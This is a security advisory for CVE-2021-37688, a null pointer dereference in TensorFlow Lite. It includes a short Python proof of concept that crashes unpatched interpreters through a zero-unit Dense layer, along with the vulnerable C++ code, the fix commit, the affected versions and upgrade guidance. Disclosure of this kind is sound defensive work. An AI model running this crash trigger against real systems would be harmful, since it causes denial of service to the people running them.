---
id: CVE-2021-37688
aliases:
  - GHSA-vcjj-9vg7-vf68
  - BIT-tensorflow-2021-37688
  - PYSEC-2021-310
  - PYSEC-2021-601
  - PYSEC-2021-799
title: Null pointer dereference in TFLite
summary: Null pointer dereference in TFLite
severity: high
cvss: 7.8
cvssVector: 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'
vendor: tensorflow
product: tensorflow
ecosystem: pip
affected:
  - tensorflow < 2.3.4
  - 'tensorflow >= 2.4.0, < 2.4.3'
  - 'tensorflow >= 2.5.0, < 2.5.1'
  - 'tensorflow-cpu >= 2.5.0, < 2.5.1'
  - 'tensorflow-cpu >= 2.4.0, < 2.4.3'
  - tensorflow-cpu < 2.3.4
  - tensorflow-gpu < 2.3.4
  - 'tensorflow-gpu >= 2.4.0, < 2.4.3'
  - 'tensorflow-gpu >= 2.5.0, < 2.5.1'
patched:
  - tensorflow 2.3.4
  - tensorflow 2.4.3
  - tensorflow 2.5.1
  - tensorflow-cpu 2.5.1
  - tensorflow-cpu 2.4.3
  - tensorflow-cpu 2.3.4
  - tensorflow-gpu 2.3.4
  - tensorflow-gpu 2.4.3
  - tensorflow-gpu 2.5.1
published: '2021-08-25'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:49:08.399705430Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-vcjj-9vg7-vf68'
references:
  - url: >-
      https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vcjj-9vg7-vf68
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2021-37688'
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/15691e456c7dc9bd6be203b09765b063bf4a380c
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-601.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-799.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-310.yaml
  - url: 'https://github.com/tensorflow/tensorflow'
  - url: >-
      https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L268-L285
tags:
  - osv
  - pip
epss: 0.00165
epssPercentile: 0.05029
ingestedAt: '2026-09-12T03:13:01.730Z'
---

## Overview

### Impact
An attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:

```python
import tensorflow as tf

model = tf.keras.models.Sequential()
model.add(tf.keras.Input(shape=(1, 2, 3)))
model.add(tf.keras.layers.Dense(0, activation='relu'))

converter = tf.lite.TFLiteConverter.from_keras_model(model)
tflite_model = converter.convert()

interpreter = tf.lite.Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()

interpreter.invoke()
```

The [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L268-L285) unconditionally dereferences a pointer.

```cc
  if (y4 > 1) {
    // ...
  } else {
    for (int i0 = 0; i0 < y0; ++i0) {
      const T* input2_data_ptr = nullptr;
      for (int i1 = 0; i1 < y1; ++i1) {
        input2_data_ptr = input2_data_reset;
        for (int i2 = 0; i2 < y2; ++i2) {
          scalar_broadcast_f(y3, params, *input1_data_ptr, input2_data_ptr,
                             output_data_ptr);
        }
      }
    }
  }
```

### Patches
We have patched the issue in GitHub commit [15691e456c7dc9bd6be203b09765b063bf4a380c](https://github.com/tensorflow/tensorflow/commit/15691e456c7dc9bd6be203b09765b063bf4a380c).

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang of Baidu Security.

## Affected packages

- `tensorflow < 2.3.4`
- `tensorflow >= 2.4.0, < 2.4.3`
- `tensorflow >= 2.5.0, < 2.5.1`
- `tensorflow-cpu >= 2.5.0, < 2.5.1`
- `tensorflow-cpu >= 2.4.0, < 2.4.3`
- `tensorflow-cpu < 2.3.4`
- `tensorflow-gpu < 2.3.4`
- `tensorflow-gpu >= 2.4.0, < 2.4.3`
- `tensorflow-gpu >= 2.5.0, < 2.5.1`

## Remediation

Upgrade to a patched release:

- `tensorflow 2.3.4`
- `tensorflow 2.4.3`
- `tensorflow 2.5.1`
- `tensorflow-cpu 2.5.1`
- `tensorflow-cpu 2.4.3`
- `tensorflow-cpu 2.3.4`
- `tensorflow-gpu 2.3.4`
- `tensorflow-gpu 2.4.3`
- `tensorflow-gpu 2.5.1`